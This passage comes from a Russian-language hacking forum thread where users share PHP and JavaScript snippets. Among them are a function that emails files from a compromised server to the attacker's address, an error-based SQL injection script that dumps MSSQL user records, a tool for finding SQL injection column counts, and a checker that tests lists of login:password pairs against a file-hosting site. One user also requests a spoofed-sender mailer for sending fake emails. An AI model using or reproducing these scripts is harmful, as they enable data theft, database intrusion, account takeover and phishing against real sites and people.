print "[-] Error Connecting"
for url in urls2:
print "[+] Testing:",url+sys.argv[2]
try:
test(url)
except:
pass
except:
pass

print "\n[-] Done\n"

попробуй

warlok
14.09.2008, 04:13
2GumaNoiD
http://forum.antichat.ru/showpost.php?p=853130&postcount=15

winstrool
15.09.2008, 15:06
вот нашел у себя на винте, думаю кому нить полезно будет посмотреть...
функция по отправке файла с сервера себе на мыло...

function download_mail($dir,$file) {
$demail="Ваше@мыло.ру";
$buf = explode(".", $file);
$dir = str_replace("\\","/",$dir);
$fullpath = $dir."/".$file;
$size = tinhbyte(filesize($fullpath));
$fp = fopen($fullpath, "rb");
while(!feof($fp))

$attachment .= fread($fp, 4096);
$attachment = base64_encode($attachment);
$subject = "тема сообщения ($file)";

$boundary = uniqid("NextPart_");
$headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\"";

$info = "---==== Сообщение от ($demail)====---\n\n";
$info .= "IP:\t$REMOTE_ADDR\n";
$info .= "HOST:\t$HTTP_HOST\n";
$info .= "URL:\t$HTTP_REFERER\n";
$info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
$info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";

$send_to = "$demail";

$send = mail($send_to, $subject, $info, $headers);

if($send == 2)
echo "<br>

<center>
Спасибо!!!Файл <b>$file</b> отправлен вам на <u>$demail</u>.</center><br>";

fclose($fp);
}

использавать так:
download_mail($dir,$file);
где $dir это директория на серваке, а $file файл который вы хотите отправить...

Pashkela
16.09.2008, 02:38
Программа MySQL_column предназначена для автоматизации процесса узнавания кол-ва колонок при потенциальной sql-inj

В комплекте 4 файла:

1. mysql_column.exe - сама программа

2. source_url.txt - файл инициализации URL, при котором можно получить SQL-inject (вам лишь следует скопировать нужный URL в этот файл и заменить вашу {sql} на "№"). Например здесь есть sql: http://www.sait.ru/index.php?id=5+union+select+1/*, значит в файл пишем: http://www.sait.ru/index.php?id=5№

3. source_filtr.txt - файл инициализации фильтра (/*,-- или просто пусто). В данном случае "/*"

4. source_host.txt - файл инициализации взламываемого хоста. Если посмотреть выше - то www.sait.ru

5. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу mysql_column.exe. Она автоматически выяснит и сохранит без вашего участия в файл output.txt следующие параметры:
1) Правильное кол-во колонок
2) Номер принтабельной колонки
3) Валидный урл для получения информации при sql-inj


Example: http://www.site.org/index.php?id=5+union+select+1,2,3?????????????/*

source_url.tx: "http://www.site.org/index.php?id=5№"
source_host.txt: "www.site.org"
source_filtr.txt: "/*"

(c)Pashkela

скачать здесь:

http://pashkela.narod.ru/progi/MySQL_column.rar

heretic1990
22.09.2008, 19:41
Кодировщик

<SCRIPT LANGUAGE="JavaScript">
<!--

// By PATRICK CLINGER (pat_clinger@hotmail.com)
// Web Site: http://www.proboards.com/
// Script featured on Website Abstraction (http://wsabstract.com)
// Over 400+ free scripts: Wsabstract.com<br>

var letters = 'ЛМНОПрстуфхцчшщьыъэюяАБВ ДЕЫЭЮЯкпghijklабвгдежзийКabvwx yzABCDEFef)_ЖЗИЙРСТУФХЦЧШЩЪЬ+|<>?:mnQRSTUЛМНОПрсту~!@лмно#$%^VWXYZ`12 34567opGHIJKLu./;'+" "+';'+"'"+'[]MNOP890-='+'\\'+'&*("{},cdqrst'+"\n";
var split = letters.split("");
var num = '';
var c = '';
var encrypted = '';
function encrypt(it){var b = '0';
var chars = it.split("");
while(b<it.length) {
c = '0';
while(c<letters.length){
if(split[c] == chars[b]){
if(c == "0") {
c = "";
}
if(eval(c+10) >= letters.length){
num = eval(10-(letters.length-c));
encrypted += split[num];
}
else{
num = eval(c+10);
encrypted += split[num];
}
}
c++;
}
b++;
}
document.forms[0].data.value = encrypted;encrypted = '';
}
function decrypt(it){
var b = '0';
var chars = it.split("");
while(b<it.length){c = '0';
while(c<letters.length){
if(split[c] == chars[b]){
if(c == "0") {
c = "";
}
if(eval(c-10) < 0){
num = eval(letters.length-(10-c));
encrypted += split[num];
}
else
{
num = eval(c-10);
encrypted += split[num];
}
}
c++;
}
b++;
}
document.forms[0].data.value = encrypted;
encrypted = '';
}
// -->
</SCRIPT>

Pashkela
22.09.2008, 22:09
Декодирует footer.php в WordPress. This tool is for decode footer.php in WordPress

http://pashkela.narod.ru/progi/WordPress_footer_decoder.rar

nikoTM
23.09.2008, 00:34
Не дает закрвать окно.

<html>
<head>
<title>Press ALT+F4</title>
</head>

<body onunload="goodBye()">
<p align="center">
<b>Yuo cant close your browser window</b>
</p>
<script language="JavaScript">
<!--
function goodBye()
{window.open("Cantclose.htm");}
//-->
</script>
<p align="center">
<b>Try Alt+F4!</b>
</p>
</body>
</html>


баян! читайте на первых страницах...там есть такое.. точно тот же пост...

DDoSька
23.09.2008, 04:50
nikoTM,зачем так паниковать?Это обычный пример из книги JS, и в интеренете полного такого,просто чел перед тем как постить не будет же листать 46 страниц и смотреть,нету ли дабл мессагов

heretic1990
23.09.2008, 22:22
Скрипт Отправки E-mail по списку
Скрипт надо вставить между <BODY> и </BODY>

<FORM NAME="mailer" METHOD="post" ACTION="" ENCTYPE="text/plain"
onSubmit="(document.mailer.action += mailtoandsubject)">

<!-- Original: Jeff Kieke -->

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<TABLE BORDER=0 bgcolor="#CCCCCC">
<TR VALIGN="top">
<TD>Получатель:</TD>
<TD><SELECT NAME="mailtoperson" onChange="msg(this.form)">
<OPTION VALUE="">-- Выбрать --
<OPTION VALUE="person1@yandex.ru">person1@yandex.ru
<OPTION VALUE="person2@yandex.ru">person2@yandex.ru
<OPTION VALUE="person3@yandex.ru">person3@yandex.ru
</SELECT></TD>
</TR>
<TR VALIGN="top">
<TD>Ваше имя:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="name" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Ваш Email:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="email" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Важность:</TD>
<TD>
<SELECT NAME="priority" onChange="msg(this.form)">
<OPTION VALUE="NaN" selected>Невыбрано
<OPTION VALUE="Normal">Обыное
<OPTION VALUE="Urgent">Важное
<OPTION VALUE="No Reply Needed">Не очень важное
</SELECT></TD>
</TR>
<TR VALIGN="top">
<TD>Тема:</TD>
<TD><INPUT TYPE="text" SIZE=35 NAME="subject" onChange="msg(this.form)"></TD>
</TR>
<TR VALIGN="top">
<TD>Сообщение:</TD>
<TD><TEXTAREA NAME="message" COLS=35 ROWS=5 WRAP="virtual" OnChange="msg(this.form)"></TEXTAREA></TD>
</TR>
<TR>
<TD> </TD>
<TD><INPUT TYPE="submit" VALUE="Отправить">
<INPUT TYPE="reset" VALUE="Сброс"></TD>
</TR>
</TABLE>
</FORM>

<SCRIPT LANGUAGE="JavaScript">
function msg() {
document.mailer.action = "mailto:"
mailtoandsubject = ((document.mailer.mailtoperson.options[document.mailer.mailtoperson.selectedIndex].value) + '?subject=' + document.mailer.subject.value);
}
</SCRIPT>

nikoTM
23.09.2008, 23:03
nikoTM,зачем так паниковать?Это обычный пример из книги JS, и в интеренете полного такого,просто чел перед тем как постить не будет же листать 46 страниц и смотреть,нету ли дабл мессагов

просто ненавижу баянство(кажись нету такого слово =)) )

Chaak
28.09.2008, 13:16
<?php
###########################
# Файл менеджер by Chaak
###########################
$safe = 'C:\\'; //дирректория, куда нельзя дальше соваться =)


function delfolder($folder)
{
if(is_dir($folder))
{
$handle = opendir($folder);
while($subfile = readdir($handle))
{
if($subfile == '.' or $subfile == '..')
continue;
if(is_file($subfile))
unlink("{$folder}/{$subfile}");
else
delfolder("{$folder}/{$subfile}");
}
closedir($handle);
rmdir($folder);
}
else
{
unlink($folder);
}
}

if(isset($_GET['del']))
{
$del = urldecode($_GET['del']);
if(substr($del,0,strlen($safe)) == $safe)
{
if(is_file($del))
{
unlink($del);
header("Location: ".$_GET['location']);
exit();
} elseif(is_dir($del))
{
delfolder($del);
header("Location: ".$_GET['location']);
exit();
}
}
else
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
}


if(!isset($_GET['dir']))
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
else
{
$path = urldecode($_GET['dir']);
if(substr($path,0,strlen($safe)) == $safe)
{
if(is_dir($path))
{

$dir = scandir($path);
echo '<table>';
echo "<tr><td>№</td><td>Filename</td><td>Действие</td></tr>";


foreach($dir as $i => $item)
{
if(!($item == '..' || $item == '.'))
{
echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>";
}
else
{
echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>";
}
}


echo '</table>';


} elseif(is_file($path))
{
$file = '';
$fp = fopen($path,'rt');
while(!feof($fp))
{
$file .= fgets($fp,1024);
}
fclose($fp);
htmlspecialchars($file);

echo "<textarea cols='80' rows='35'>$file</textarea>";
echo '<br><a href="javascript:history.back(-1);">Назад</a>';
}
else
{
die('Выбранного файла не существует');
}
}
else
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
}
?>
Небольшой файловый менеджер от меня =) писал для развлечения.

Умеет читать/удалять файлы. Очень легко доработать.

MaSTeR GэN
03.10.2008, 21:11
скорее всего боян но просто мож кому пригодиться для дампа базы mssql если требуеться авторизация для доступа с скуле ! испольЗовал curl В фаил cookies.txt нужно положить куки для авторизации!

<?
set_time_limit(0);
function send($get_url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get_url);
curl_setopt($ch,CURLOPT_COOKIEFILE,"cookies.txt");
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
return $data = curl_exec($ch);
}
$postfix = 0;
$filename = "base".$postfix.".txt";
$desp = fopen ($filename,"a+");
for ($id=0;$id<30000;$id++){
$get_url="http://site.com/sql.asp?C=1'+OR+1=(select+top+1+user+from+users+wh ere+Id=".$id.")--";
$str=send($get_url);
if (preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) {
echo $matches[1];
fputs($desp,$matches[1]);
fputs($desp,"\n");
}
}
fclose($desp);
/*

?>

#Wolf#
05.10.2008, 08:44
вот решил написать чекер акков депозитфайлс.
accounts.txt - файл с акками вида login:рassword
valid.txt - рабочие аккаунты

<?php
<?php
#################################
# DepositFiles Accounts Checker
# by #Wolf#
# ICQ: 79-47-79
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив
$valid=$invalid=0;
function Check($login,$pass) {
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
$out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"; # Отправляем заголовки
$out .= "Host: depositfiles.com\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite($fp,$out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128); # ответ сервера
}
fclose($fp); # Закрываем сокеты
return strpos($ans,"autologin=") ? true : false; # Проверяем
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) { #цикл
list($login,$pass) = explode(":",trim($account[$i])); # разбиваем аккаунты на логин и пароль
if (Check($login,$pass)) { # Вызываем функцию проверки аккаунта
echo $login.':'.$pass.'<br />';
flush();
ob_flush();
$fd = fopen($vallist,'a+'); # открываем файл
fputs($fd,$account[$i]); # записываем в файл рабочий акк
fclose($fd); # закрываем файл
++$valid;
}else {++$invalid;}
}
echo "<br><h3>Итого</h3>Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>

kaimi спасибо, поправил

Sholoman
05.10.2008, 17:31
#Wolf# не работает!

Sholoman
05.10.2008, 17:55
Скрипт Зеркального отражения с наклонами и т.п. Результаты скрипта можно посмотреть в архиве.
http://depositfiles.com/files/8494118

Kaimi
05.10.2008, 18:01
#Wolf# не работает!

Так попробуй

<?php
#################################
# DepositFiles Accounts Checker
# by #Wolf#
# ICQ: 79-47-79
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)";
$acclist ="accounts.txt";
$vallist = "valid.txt";
$account =file($acclist);
$valid = $invalid = 0;


function vkCheck($login,$pass) {
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30);
$out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";
$out .= "Host: depositfiles.com\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite($fp,$out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128);
}
fclose($fp);
return strpos($ans,"autologin=") ? true : false;
}

echo '<h3>Валидные логины:пароли</h3>';

for($i=0;$i<count($account);$i++) {
list($login,$pass) = explode(":",trim($account[$i]));
if (vkCheck($login,$pass)) {
echo "$login:$pass<br>";
flush();
ob_flush();
$fd = fopen($vallist,"a+");
fputs($fd,$account[$i]);
fclose($fd);
++$valid;
}
else { ++$invalid;}
}

echo "<br><h3>Итого</h3>Рабочих аккаунтов: $valid<br>Нерабочих аккаутов: $invalid";
?>

Sholoman
05.10.2008, 18:12
Kaimi не работает скрипт. Я свой акк пишу = D 100% работает!

Kaimi
05.10.2008, 18:13
И в каком формате ты свой акк пишешь?

Sholoman
05.10.2008, 18:15
nerabotaet:script
права на txt 777 поставил заработало!

Chaak
24.10.2008, 22:16
<?php

//Чекер репы на ачате by Chaak(766-336)

$id = 57557; //id на ачате
$summ = 0; //начальное кол-во репы.
$all = 0; //всего поставленно

$content = file_get_contents("http://forum.antichat.ru/view_reputation.php?userid={$id}&count=11111111111111111");
preg_match_all('#<nobr><b>\+([0-9]{1,5})</b></nobr>#i',$content,$pluses);
preg_match_all('#<nobr><b>\-([0-9]{1,5})</b></nobr>#i',$content,$minuses);


foreach($pluses['1'] as $plus)
{
$summ += $plus;
$all++;
}

foreach($minuses['1'] as $minus)
{
$summ = $summ - $minus;
$all++;
}


echo 'Количество репутации: '.$summ.'<br>Всего поставлено: '.$all.' раз';


?>

Ch3ck
25.10.2008, 01:29
Чак, была уже такая тема...

Pashkela
26.10.2008, 22:23
Google URL Parser with log

С учетом разного кол-ва страниц по выданным результатам по конкретному запросу:


<?php
// Парсер url после выдачи гугла по запросу
$handler=fopen('log.txt','w'); // если не хотим терять старые данные - то "a+"
$limit = 0;
$zapros = "antichat"; // Наш запрос для поиска
$page_start = 0; // Стартовая страница из расчета 100 результатов выдачи на страницу
$page_end = 200; // Последняя страница из расчета 100 результатов выдачи на страницу
function parse_serp($engine, $query, $limit)
{
if ($limit<100) {$request = 'http://www.google.com/ie?hl=ru&num=100&start=' . $limit. '&lr=&q='.urlencode(trim($query));}
if ($limit>=100) {$request = 'http://www.google.com/ie?q=' . urlencode(trim($query)) . '&num=100&hl=ru&lr=&start=' . $limit . '&sa=N';}
$pattern = '/<a title="(.*)" href=(.*)>(.*)<\/a>/isU';
$result = file_get_contents($request);
if(preg_match_all($pattern, $result, $matches))
{
for ($i=0; $i<count($matches[0]); $i++)
{
$link = $matches[2][$i];
$serp[] = $link;
}
}
return $serp;
}
for ($i=$page_start;$i<=$page_end;$i++)
{
$result = parse_serp("google", $zapros, $i);
$log = implode("\r\n",$result);
if($handler) {fwrite($handler,$log);}
$i=$i+100;
if ($i>100) {$i=$i-1;}
}
fclose($handler);
echo "Все данные были сохранены в log.txt";
?>

-Hormold-
27.10.2008, 00:01
<?
$str="Simple leet speak!";
$fr=array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M");
$to=array("q","w","3","r","7","y","u","1","0","p","4","5","d","f","g","h","j","k","l","z","8","c","v","b","n","m","Q","W","3","R","7","Y","U","1","0","P","4","5","D","F","G","H","J","K","L","Z","8","C","V","B","N","M");
echo str_replace($fr,$to,$str);
?>

Пример l33t 5p34k...

heretic1990
01.11.2008, 20:57
Многие наверное видили красивые окна на движке юкоза сделаные с помощью AJAX .

вот как такое окно можно сделать:

код ссылки:
<script type=text/javascript src='Ссылка на файл openLayerA.js'></script>
<a href="javascript:openLayerA('obsv','Ссылка на страницу которую мы хотим открыть в новом окошке','Коментарий ссылки','500 ширина','400 высота','no');">Название ссылки</a>

openLayerA.js
var _umlparents=[]; //hash of mover _umlparents
var _umlcoords=[]; //hash of last layer _umlcoords for IE
var _resID='';
var _umlhave='';
var _umloffX,_umloffY,_umlscrX,_umlscrY;
var _uml_ie=0;
var _umlunable=0;
var _zindex=10000;
var _dontOnTop=0;
var _mwdH=400;
var _useShadow=0;
var f=0
function openLayerA(n,u,t,w,h,is,resize,anyVar2,grid,multyp art,align){
if (!align){align='center';}
if (resize){_resID=n;}else{_resID='';}
h-=30;
_zindex++;
var scrw=document.body.clientWidth>0 ? document.body.clientWidth : window.innerWidth>0 ? window.innerWidth : document.body.offsetWidth;
var scrh=document.body.clientHeight>0 ? document.body.clientHeight : window.innerHeight>0 ? window.innerHeight : document.body.offsetHeight;
if (scrh<450){_mwdH=scrh-50;}else{_mwdH=400;}
var x = (scrw-w)/2;
var y = (scrh-h)/2-20;
if (!document.getElementById('newLayer'+n)){
var o=document.createElement('div');
o.id='newLayer'+n;
document.body.appendChild(o);

var os=document.createElement('div');
os.id='newLayerSh'+n;
document.body.appendChild(os);
}
if (grid){
var og;
if (!document.getElementById('newLayerGrid')){
og=document.createElement('div');
og.id='newLayerGrid';
document.body.appendChild(og);
og.className='myWinGrid';
}
else {og=document.getElementById('newLayerGrid');}
og.style.zIndex=_zindex;
og.style.width=document.body.scrollWidth+'px';
og.style.height=document.body.scrollHeight+'px';
if (_uml_ie){
og.style.left=document.body.scrollLeft;
og.style.top=document.body.scrollTop;
}
else {og.style.position='fixed';}
og.style.display='';
}
document.getElementById('newLayer'+n).innerHTML=''
+ '<div class="xw xw-plain" onclick="if(!_dontOnTop){_showOnTop(\''+n+'\')}else{_dontOn Top=0;}" id="outLayer'+n+'" style="position:absolute;z-index:'+(_zindex+2)+';top:'+y+'px;left:'+x+'px;wid th:'+w+'px;">'
+ '<div class="xw-tl" unselectable="on">'
+ '<div class="xw-tr">'
+ '<div class="xw-tc" align="left">'
+ '<div id="myWhead'+n+'" unselectable="on" onmouseup="_create_shadow(\''+n+'\');" class="xw-hdr x-unselectable xp-icon xw-draggable">'
+ '<div id="myWclose'+n+'" class="xt xt-close" onclick="_closeMyWin(\''+n+'\')"; onmouseover="this.className=\'xt xt-close xt-close-over\'" onmouseout="this.className=\'xt xt-close\'"></div>'
+ '<span unselectable="on" class="xw-hdr-text" id="layerTitle'+n+'">'+t+'</span></div>'
+ '</div></div></div>'
+ '<div class="xw-bwrap">'
+ '<div class="xw-ml">'
+ '<div class="xw-mr">'
+ '<div class="xw-mc" id="xw-mc'+n+'">'
+ '<div id="myWinBody'+n+'" class="xw-body" style="overflow:auto;height:'+h+'px;">'
+ '<div class="myWinCont" id="myWinCont'+n+'" style="width*:100%;"><div align="'+align+'" id="layerContent'+n+'"><iframe src="'+u+'" marginwidth="1" marginheight="1" height="100%" width="100%" scrolling="'+is+'" border="0" frameborder="0"></iframe></div></div>'
+ '</div></div></div></div></div>'
+ '<div class="xw-bl"><div class="xw-br">'
+ '<div class="xw-bc"><div class="xw-footer"></div>'
+ '</div></div></div></div>';

document.getElementById('newLayer'+n).style.displa y='';
_umlRegMover('myWhead'+n,'outLayer'+n);
if (!resize){
_create_shadow(n);
}
}

function _showOnTop(n,f){
if (f){
if (parseInt(document.getElementById(n).style.zIndex)<(_zindex)){
document.getElementById(n).style.zIndex=_zindex+3;
_zindex+=3;
}
}
else {
if (parseInt(document.getElementById('outLayer'+n).st yle.zIndex)<(_zindex+2)){
document.getElementById('outLayer'+n).style.zIndex =_zindex+3;
try {document.getElementById('myWxs'+n).style.zIndex=_ zindex+2;}catch(e){};
_zindex+=1;
}
}
}

function _create_shadow(n){if (!_useShadow){return;}
document.getElementById('newLayerSh'+n).style.disp lay='none';
var mww=document.getElementById('outLayer'+n).offsetWi dth;
var mwh=document.getElementById('outLayer'+n).offsetHe ight;
var mzi=document.getElementById('outLayer'+n).style.zI ndex;

document.getElementById('newLayerSh'+n).innerHTML = ''
+ '<div id="myWxs'+n+'" class="x-sh" style="z-index:'+(mzi-1)+';width:'+(mww+10)+'px;height:'+(mwh+10)+'px;di splay:block;">'
+ '<div class="xst">'
+ '<div class="xstl"> </div>'
+ '<div class="xstc" style="width:'+(mww-8)+'px;"></div>'
+ '<div class="xstr"></div></div>'
+ '<div id="xsc'+n+'" style="height:'+(mwh-8)+'px;">'
+ '<div class="xsml"></div>'
+ '<div class="xsmc" style="width:'+(mww-8)+'px;"></div>'
+ '<div class="xsmr"></div></div>'
+ '<div class="xsb"><div class="xsbl"></div>'
+ '<div class="xsbc" style="width:'+(mww-8)+'px;"></div>'
+ '<div class="xsbr"></div></div></div>';

_shcoords('outLayer'+n);
document.getElementById('newLayerSh'+n).style.disp lay='';
}

function _shcoords(id){if (!_useShadow){return;}
if (!id){return;}
var n = id.substr(8);
if (!document.getElementById('myWxs'+n)){return;}
var _shadw = document.getElementById('myWxs'+n);
var pos=_umlGetCoord(document.getElementById('outLayer '+n));
if(!_uml_ie) {
_shadw.style.position='fixed';
_shadw.style.overflow='auto';
_shadw.style.left=(pos['left'])+'px';
_shadw.style.top=(pos['top'])+'px';
}
else {
_shadw.style.left=(pos['left']-3)+'px';
_shadw.style.top=(pos['top']-3)+'px';
_shadw.style.filter = 'progid:DXImageTransform.Microsoft.alpha(opacity=5 0) progid:DXImageTransform.Microsoft.Blur(pixelradius =3);';
}

}

function _closeMyWin(n){
document.getElementById('layerContent'+n).innerHTM L='';
document.getElementById('newLayer'+n).style.displa y='none';
try{document.getElementById('newLayerSh'+n).style. display='none';}catch(e){}
try{document.getElementById('newLayerGrid').style. display='none'}catch(e){}
}

var _cur_size8,_tar_size8,_dk_step8;
function _chLctSize(w1){
if (!document.getElementById('myWinBody'+w1) || !document.getElementById('layerContent'+w1)){retur n;}
var step=10;
var incr=_uml_ie?4:4;
_cur_size8 = parseInt(document.getElementById('myWinBody'+w1).s tyle.height);
_tar_size8 = document.getElementById('myWinCont'+w1).offsetHeig ht+incr;
if (_tar_size8<40){_tar_size8=40;}else if (_tar_size8>_mwdH){_tar_size8=_mwdH;}

if (_cur_size8>_tar_size8){_dk_step8=-step;if(_cur_size8-_tar_size8<step){_dk_step8=-(_cur_size8-_tar_size8);}}
else{_dk_step8=step;if(_tar_size8-_cur_size8<_dk_step8){_dk_step8=_tar_size8-_cur_size8;}}
setTimeout('_chLctSizeTimer("'+w1+'")',10);
}
function _chLctSizeTimer(w1){
if ((_dk_step8>0 && _cur_size8<=_tar_size8-_dk_step8) || (_dk_step8<0 && _cur_size8>=_tar_size8-_dk_step8)){
document.getElementById('newLayerSh'+w1).style.dis play='none';
if (_dk_step8>0&&(_tar_size8-_cur_size8-_dk_step8<_dk_step8)){_dk_step8=_tar_size8-_cur_size8;}
else if (_dk_step8<0&&(_tar_size8-_cur_size8-_dk_step8>_dk_step8)){_dk_step8=_tar_size8-_cur_size8;}
_cur_size8+=_dk_step8;
var newtop = parseInt(document.getElementById('outLayer'+w1).st yle.top)-parseInt(_dk_step8/2);
if ((_uml_ie && newtop>=document.body.scrollTop) || (!_uml_ie && newtop>=0)){document.getElementById('outLayer'+w1).style. top=newtop;}
document.getElementById('myWinBody'+w1).style.heig ht=_cur_size8+'px';
setTimeout('_chLctSizeTimer("'+w1+'")',10);
}
else {
_resID='';
document.getElementById('myWinCont'+w1).style.visi bility='visible';
_create_shadow(w1);
}
}

if (document.addEventListener){
document.addEventListener('mouseup',_umlUp,false);
document.addEventListener('mousemove',_umlMove,fal se);
}
else if (window.attachEvent){
document.attachEvent('onmouseup', _umlUp);
document.attachEvent('onmousemove', _umlMove);
window.attachEvent('onscroll', _umlScroll);
_uml_ie=1;
} else {
_umlunable=1;
}
var _entrRm={};
function _entrRem(bID,u,imgurl,text){
if (!text){text='Are you sure?';}
if (!_entrRm[bID] && confirm(text)){_entrRm[bID]=1;
document.getElementById(bID).src=imgurl+'/img/fr/EmnAjax.gif';
var cObj = uz.util.Connect.asyncRequest('GET',u,callback);
}
}

function _umlGetCoord(obj){
if(!obj) return { 'left' : 0, 'top' : 0 };
var left_offset = obj.offsetLeft;
var top_offset = obj.offsetTop;
if(!left_offset && !top_offset && obj.offsetParent==null) {
left_offset=parseInt(obj.style.left);
top_offset=parseInt(obj.style.top);
} else
while ((obj = obj.offsetParent) != null)
{
left_offset += obj.offsetLeft;
top_offset += obj.offsetTop;
}

return { 'left' : left_offset, 'top' : top_offset };
}

function _umlRegMover(mover,movparent) {
if(_umlunable) return;
var it=document.getElementById(mover);
var itpar=document.getElementById(movparent);
if(!it || !itpar) return;
if(!_uml_ie && itpar.style.position!='fixed') {itpar.style.position='fixed';}
_umlparents[mover]=itpar;
if(_uml_ie) {
_umlscrX=document.body.scrollLeft;
_umlscrY=document.body.scrollTop;
var pos=_umlGetCoord(itpar);
_umlcoords[mover]=[pos['left']+_umlscrX,pos['top']+_umlscrY];

itpar.style.left=_umlcoords[mover][0]+'px';
itpar.style.top=_umlcoords[mover][1]+'px';

it.attachEvent('onmousedown',_umlDown);
}
else it.addEventListener('mousedown',_umlDown,false);
it.style.cursor="move";
}

function _umlMove(e) {
if(_uml_ie) e=event;
if(!_umlhave) return;
var n = _umlparents[_umlhave.id].id.substr(8);
document.getElementById('newLayerSh'+n).style.disp lay='none';
if(_uml_ie && (e.button&1)==0) {_umlUp(e);return;}
_umlparents[_umlhave.id].style.left=(_umloffX+e.clientX)+'px';
_umlparents[_umlhave.id].style.top=(_umloffY+e.clientY)+'px';
if(window.getSelection){
window.getSelection().removeAllRanges();
}
else if(document.selection) {
if(document.selection.type!='none') document.selection.empty();
}
}

function _umlScroll(e) {
if(_uml_ie) e=event;
for(var i in _umlcoords) {
var newx=_umlcoords[i][0]+document.body.scrollLeft-_umlscrX;
if(newx+_umlparents[i].offsetWidth<document.body.scrollWidth) _umlparents[i].style.left=newx+'px';
var newy=_umlcoords[i][1]+document.body.scrollTop-_umlscrY;
if(newy+_umlparents[i].offsetHeight<document.body.scrollHeight) _umlparents[i].style.top=newy+'px';
if (_useShadow){_shcoords(_umlparents[i].id);}
}
}


function _umlDown(e) {
if(_uml_ie) {
if(!_umlparents[event.srcElement.id]) return;
e=event;
if(e.button && (e.button&1)!=1) return;
_umlhave=e.srcElement;
}
else {
_umlhave=this;
e.stopPropagation();
}
var pos=_umlGetCoord(_umlparents[_umlhave.id]);
_umloffX=pos['left']-e.clientX;
_umloffY=pos['top']-e.clientY;
if(_uml_ie){
_umlscrX=document.body.scrollLeft;
_umlscrY=document.body.scrollTop;
var pos=_umlGetCoord(_umlparents[_umlhave.id]);
_umlcoords[_umlhave.id]=[pos['left'],pos['top']];
}
}

function _umlUp(e) {
if(!_umlhave) return;
if(_uml_ie){
var pos=_umlGetCoord(_umlparents[_umlhave.id]);
_umlcoords[_umlhave.id]=[pos['left'],pos['top']];
}
_umlhave=0;
}


P.S. каму надо тот поймёт.

Makcimka
02.11.2008, 20:32
Пожалуйста выложите php-скрипт для отправки писем с подменой адреса ,только чтобы можно было писать "имя-отправителя""адрес-отправителя""в html""прикреплять файлы" мне очень надо ,чтобы фейки слать. У меня есть скрипт,но там нельзя писать "имя" и "прикреплять файлы"
Очень прошу ,тому кто выложит ,сюрприз :)

coo1io
02.11.2008, 22:57
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="c_mail">
<title>C_mail</title>
<?php




if ($action=="send"){
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}


?>




<form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;">
<div align="left">






<center>
<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber1">
<tr>
<td width="100%">
<div align="left">
<center>
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber2">
<tr>
<td width="100%">
<p align="left"><div align="left">
<center>
<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#0006000" width="70%" cellpadding="0" id="AutoNumber1" height="277">
<tr>
<td width="100%" height="272">
<table width="769" border="0" height="303">
<tr>
<td width="786" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic3.gif" colspan="3" height="28">
